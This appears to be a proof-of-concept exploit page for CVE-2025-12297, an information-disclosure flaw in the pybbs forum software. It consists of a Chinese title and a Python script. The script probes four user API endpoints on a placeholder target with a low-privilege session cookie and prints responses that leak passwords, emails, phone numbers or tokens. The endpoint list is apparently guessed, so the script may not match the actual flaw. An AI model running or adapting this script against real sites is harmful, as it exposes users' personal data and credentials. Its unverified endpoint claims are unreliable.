CVE-2025-12297 atjiu pybbs UserApiController.java信息泄露漏洞

import requests import json # CVE-2025-12297 PoC - Information Disclosure in atjiu pybbs # Target: atjiu pybbs <= 6.0.0 # Vulnerability: UserApiController.java information disclosure target_url = "http://target.com" # Replace with target URL cve_id = "CVE-2025-12297" # Common vulnerable endpoints in UserApiController vulnerable_endpoints = [ "/api/user/info", "/api/user/list", "/api/user/data", "/api/user/export" ] def test_vulnerability(url): """Test for CVE-2025-12297 information disclosure vulnerability""" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json" } # Low-privilege user session (PR:L) cookies = {"JSESSIONID": "test_session_id"} for endpoint in vulnerable_endpoints: try: full_url = url.rstrip('/') + endpoint response = requests.get(full_url, headers=headers, cookies=cookies, timeout=10) # Check if sensitive information is leaked if response.status_code == 200: data = response.json() # Check for information disclosure indicators if any(key in str(data) for key in ["password", "email", "phone", "address", "token"]): print(f"[!] Potential vulnerability found at {endpoint}") print(f"[+] Response: {json.dumps(data, indent=2)}") return True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") return False if __name__ == "__main__": print(f"[*] Testing {cve_id} on {target_url}") result = test_vulnerability(target_url) if result: print(f"[!] {cve_id} vulnerability confirmed!") else: print(f"[*] No vulnerability detected")